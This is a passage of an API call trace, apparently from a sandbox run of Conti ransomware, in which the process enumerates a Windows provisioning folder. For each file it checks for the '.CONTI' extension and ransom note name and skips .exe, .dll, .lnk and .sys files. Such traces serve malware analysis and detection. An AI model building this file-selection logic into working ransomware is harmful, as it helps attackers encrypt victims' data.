	[0106.872] StrStrIW (lpFirst="125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.872] StrStrIW (lpFirst="125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.872] StrStrIW (lpFirst="125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0106.872] StrStrIW (lpFirst="125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.456] StrStrIW (lpFirst="125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.456] StrStrIW (lpFirst="125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.456] StrStrIW (lpFirst="125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.456] StrStrIW (lpFirst="125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.456] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.456] lstrlenW (lpString="125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml") returned 82
	[0107.456] GetProcessHeap () returned 0x1720000
	[0107.456] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x15a) returned 0x17c3688
	[0107.456] lstrcpyW (in: lpString1=0x17c3688, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.456] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.456] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml"
	[0107.456] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9051cd0d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x29c, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml", cAlternateFileName="126__C~1.PRO")) returned 1
	[0107.456] lstrcmpiW (lpString1="126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.456] lstrcmpiW (lpString1="126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.456] StrStrIW (lpFirst="126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.457] StrStrIW (lpFirst="126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.457] StrStrIW (lpFirst="126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.457] StrStrIW (lpFirst="126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.457] StrStrIW (lpFirst="126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.457] StrStrIW (lpFirst="126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.457] StrStrIW (lpFirst="126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.457] StrStrIW (lpFirst="126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.457] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.457] lstrlenW (lpString="126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml") returned 82
	[0107.457] GetProcessHeap () returned 0x1720000
	[0107.457] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x15a) returned 0x17c37f0
	[0107.457] lstrcpyW (in: lpString1=0x17c37f0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.457] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.457] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml"
	[0107.457] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9051cd0d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x27f, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="127__C~1.PRO")) returned 1
	[0107.457] lstrcmpiW (lpString1="127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.457] lstrcmpiW (lpString1="127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.457] StrStrIW (lpFirst="127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.457] StrStrIW (lpFirst="127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.457] StrStrIW (lpFirst="127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.457] StrStrIW (lpFirst="127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.457] StrStrIW (lpFirst="127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.457] StrStrIW (lpFirst="127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.457] StrStrIW (lpFirst="127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.457] StrStrIW (lpFirst="127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.457] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.457] lstrlenW (lpString="127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml") returned 63
	[0107.457] GetProcessHeap () returned 0x1720000
	[0107.457] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x134) returned 0x17c7180
	[0107.457] lstrcpyW (in: lpString1=0x17c7180, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.457] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.458] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml"
	[0107.458] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9051cd0d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="128__C~1.PRO")) returned 1
	[0107.458] lstrcmpiW (lpString1="128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0107.458] lstrcmpiW (lpString1="128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0107.458] StrStrIW (lpFirst="128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0107.458] StrStrIW (lpFirst="128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.458] StrStrIW (lpFirst="128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0107.458] StrStrIW (lpFirst="128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0107.458] StrStrIW (lpFirst="128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0107.458] StrStrIW (lpFirst="128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0107.458] StrStrIW (lpFirst="128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0107.458] StrStrIW (lpFirst="128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.458] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.458] lstrlenW (lpString="128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0107.458] GetProcessHeap () returned 0x1720000
	[0107.458] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x17bc3e0
	[0107.458] lstrcpyW (in: lpString1=0x17bc3e0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.458] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.458] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0107.458] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9051cd0d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bd, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="129__C~1.PRO")) returned 1
	[0107.458] lstrcmpiW (lpString1="129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.458] lstrcmpiW (lpString1="129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.458] StrStrIW (lpFirst="129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.458] StrStrIW (lpFirst="129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.458] StrStrIW (lpFirst="129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.458] StrStrIW (lpFirst="129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.458] StrStrIW (lpFirst="129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.458] StrStrIW (lpFirst="129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.458] StrStrIW (lpFirst="129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.458] StrStrIW (lpFirst="129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.459] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.459] lstrlenW (lpString="129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml") returned 65
	[0107.459] GetProcessHeap () returned 0x1720000
	[0107.459] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x17c8798
	[0107.459] lstrcpyW (in: lpString1=0x17c8798, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.459] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.459] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml"
	[0107.459] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9013ce1d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml", cAlternateFileName="12__CO~1.PRO")) returned 1
	[0107.459] lstrcmpiW (lpString1="12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.459] lstrcmpiW (lpString1="12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.459] StrStrIW (lpFirst="12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.459] StrStrIW (lpFirst="12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.459] StrStrIW (lpFirst="12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.459] StrStrIW (lpFirst="12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.459] StrStrIW (lpFirst="12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.459] StrStrIW (lpFirst="12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.459] StrStrIW (lpFirst="12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.459] StrStrIW (lpFirst="12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.459] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.459] lstrlenW (lpString="12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml") returned 66
	[0107.459] GetProcessHeap () returned 0x1720000
	[0107.459] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x17ca718
	[0107.459] lstrcpyW (in: lpString1=0x17ca718, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.459] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.459] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml"
	[0107.459] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9051cd0d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="130__C~1.PRO")) returned 1
	[0107.462] lstrcmpiW (lpString1="130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0107.462] lstrcmpiW (lpString1="130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0107.462] StrStrIW (lpFirst="130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0107.462] StrStrIW (lpFirst="130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.462] StrStrIW (lpFirst="130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0107.462] StrStrIW (lpFirst="130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0107.462] StrStrIW (lpFirst="130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0107.462] StrStrIW (lpFirst="130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0107.462] StrStrIW (lpFirst="130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0107.462] StrStrIW (lpFirst="130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.462] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.462] lstrlenW (lpString="130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0107.462] GetProcessHeap () returned 0x1720000
	[0107.462] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x17c32b8
	[0107.462] lstrcpyW (in: lpString1=0x17c32b8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.462] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.462] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
